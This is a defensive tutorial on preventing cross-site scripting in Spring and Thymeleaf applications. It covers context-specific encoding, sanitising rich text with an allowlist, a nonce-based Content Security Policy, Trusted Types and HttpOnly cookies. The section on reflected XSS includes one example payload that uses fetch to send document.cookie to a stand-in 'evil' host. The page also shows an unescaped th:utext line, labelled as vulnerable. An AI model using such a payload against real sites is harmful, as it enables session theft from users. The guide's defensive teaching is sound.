XSS Prevention
Stopping cross-site scripting: the three XSS types, why encoding must be context-aware, Thymeleaf escaping, OWASP Java Encoder, nonce-based CSP and sanitising rich text.
On this page
XSS means an attacker's script running in your users' browsers with your origin's privileges — reading session cookies, making authenticated requests, rewriting the page. It persists because the fix depends on context, and one missed context is enough.
Key Takeaways
- Three types: reflected, stored and DOM-based. The third never touches your server.
- Encoding is context-specific — HTML body, attribute, JavaScript, CSS and URL all differ.
th:utextandinnerHTMLare the two constructs that turn data into markup.- Nonce-based CSP is the layer that saves you when encoding is missed.
- Sanitise rich text with an allowlist, never a blocklist.
The three types
Reflected — input is echoed straight back in the response. A crafted link is the delivery
mechanism: ?search=<script>fetch('https://evil/'+document.cookie)</script>.
Stored — the payload is saved and served to everyone who views it. A comment, a profile field, a product review. Far more damaging because it needs no per-victim delivery.
DOM-based — entirely client-side. JavaScript reads from location.hash or document.referrer and
writes to innerHTML. Your server never sees the payload, so server-side encoding cannot help and
server-side scanning cannot detect it.
Context decides the encoding
// OWASP Java Encoder — one method per context.
String htmlBody = Encode.forHtml(userInput);
String attribute = Encode.forHtmlAttribute(userInput);
String javaScript = Encode.forJavaScript(userInput);
String cssString = Encode.forCssString(userInput);
String urlParam = Encode.forUriComponent(userInput);The worst context is inside a <script> block, and the right answer is usually to avoid it entirely.
Put data in an attribute and read it from JavaScript:
<!-- Data lives in an attribute, HTML-escaped by Thymeleaf. -->
<div id="config" th:data-username="${user.name}" th:data-tenant="${tenant.id}"></div>
<script>
// Reading a data attribute is a string. It is never parsed as code.
const username = document.getElementById('config').dataset.username;
</script>Thymeleaf
<!-- Escaped. Safe for HTML body context. -->
<p th:text="${comment.body}">placeholder</p>
<!-- NOT escaped. A vulnerability unless the value was sanitised. -->
<div th:utext="${comment.body}"></div>
<!-- Attributes are escaped by th:attr and th:* shortcuts. -->
<img th:src="@{/avatars/{id}(id=${user.id})}" th:alt="${user.name}">
<!-- URL context: th:href with the link syntax encodes parameters. -->
<a th:href="@{/search(q=${query})}">Results</a>Grep your templates for th:utext and justify every occurrence. It is the single construct that turns
data into markup, and each use should either be provably safe content or the output of a sanitiser.
Sanitising rich text
When users legitimately submit formatted content, encoding would show them the tags. Sanitise instead:
@Component
public class HtmlSanitizer {
// Allowlist: keep what is permitted, drop everything else. A blocklist of
// dangerous tags is defeated by encoding tricks and new constructs.
private static final Safelist SAFELIST = Safelist.basic()
.addTags("h2", "h3", "figure", "figcaption")
.addAttributes("a", "href", "title")
.addProtocols("a", "href", "http", "https", "mailto") // no javascript:
.addEnforcedAttribute("a", "rel", "nofollow noopener noreferrer")
.addEnforcedAttribute("a", "target", "_blank");
public String sanitize(String untrustedHtml) {
if (untrustedHtml == null) return null;
// Sanitise on INPUT, before storage. Sanitising only on output means
// every future rendering path must remember to do it.
return Jsoup.clean(untrustedHtml, "", SAFELIST,
new Document.OutputSettings().prettyPrint(false));
}
}addProtocols is the line that blocks javascript: URLs, which is a classic bypass when only tags
are filtered. addEnforcedAttribute adds rel="noopener" so links cannot manipulate the opener
window.
Sanitise at the boundary and store the clean version. Sanitising only at render time means the dangerous content is in your database, and the next feature that displays it — an email, an export, an admin view — has to remember.
Content Security Policy
@Component
public class CspNonceFilter extends OncePerRequestFilter {
@Override
protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response,
FilterChain chain) throws ServletException, IOException {
// A fresh nonce per response. An attacker cannot predict it, so an
// injected script tag has no valid nonce and will not execute.
byte[] bytes = new byte[16];
new SecureRandom().nextBytes(bytes);
String nonce = Base64.getEncoder().encodeToString(bytes);
request.setAttribute("cspNonce", nonce);
response.setHeader("Content-Security-Policy", String.join("; ",
"default-src 'self'",
"script-src 'self' 'nonce-" + nonce + "' 'strict-dynamic'",
"style-src 'self' 'nonce-" + nonce + "'",
"img-src 'self' data: https://cdn.acme.com",
"connect-src 'self'",
"frame-ancestors 'none'",
"base-uri 'self'",
"form-action 'self'",
"object-src 'none'",
"report-uri /csp-report"));
chain.doFilter(request, response);
}
}<script th:attr="nonce=${cspNonce}">
// Only scripts carrying this response's nonce execute.
</script>Two directives beyond script-src do real work. base-uri 'self' prevents an injected <base> tag
redirecting every relative URL on the page. form-action 'self' stops an injected form posting
credentials to an attacker's server.
Avoid unsafe-inline. It disables the protection entirely — and note that a nonce is ignored when
unsafe-inline is present, so adding it "temporarily" silently switches CSP off.
Deploy with Content-Security-Policy-Report-Only first, collect violations for a week, fix the
legitimate ones, then enforce.
DOM-based XSS
None of the server-side work above touches this class, because the payload never reaches your server.
What makes it tractable is that both ends are enumerable. The sinks are the small set of APIs that
parse a string as markup or code — innerHTML, outerHTML, document.write, insertAdjacentHTML,
eval, and assigning to src or href from a variable. The sources are equally short:
location.hash, location.search, document.referrer, postMessage payloads, and anything read
back out of localStorage.
Trusted Types converts that audit from a code review habit into a browser-enforced rule:
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types defaultWith it in place, assigning a plain string to innerHTML throws instead of parsing, and the only way
to produce markup is through a policy function you registered — which becomes the single place a
sanitiser has to live, rather than every call site. Browser support is Chromium-only so far, so treat
it as a strong additional layer where it applies rather than a reason to stop auditing the sinks.
Cookies
server:
servlet:
session:
cookie:
# JavaScript cannot read this cookie, so an XSS cannot steal the session.
http-only: true
secure: true
same-site: laxHttpOnly does not prevent XSS, but it removes the most valuable prize. An attacker with script
execution can still make authenticated requests as the user — they simply cannot exfiltrate the
session for later use.
What to take away
Encode for the context the value lands in, and prefer data attributes over interpolating into script
blocks. Audit every th:utext and innerHTML. Sanitise rich text with an allowlist at input time.
Then deploy a nonce-based CSP with base-uri and form-action locked down, so a missed encoding
becomes a blocked script rather than an account takeover.
Frequently Asked Questions
Does Thymeleaf protect me automatically?
Is CSP a replacement for encoding?
How do I allow users to submit formatted text safely?
Related tutorials
- SQL Injection PreventionHow SQL injection actually works, why parameterised queries stop it, the JPA and JdbcTemplate patterns that are safe, the ones that are not, and how to test for it.
- File Upload SecurityEvery attack a file upload enables and its defence: extension allowlists, real content-type detection with Tika, path traversal, polyglot files, SVG, and safe serving.
- SSL/TLS & HTTPS in Spring BootConfiguring TLS properly: the handshake, keystores and PKCS12, HTTP to HTTPS redirect, mutual TLS for service-to-service, cipher policy, and where to terminate.
- SSRF PreventionStopping server-side request forgery: why cloud metadata endpoints are the prize, validating URLs correctly, defeating DNS rebinding, and egress controls as a second layer.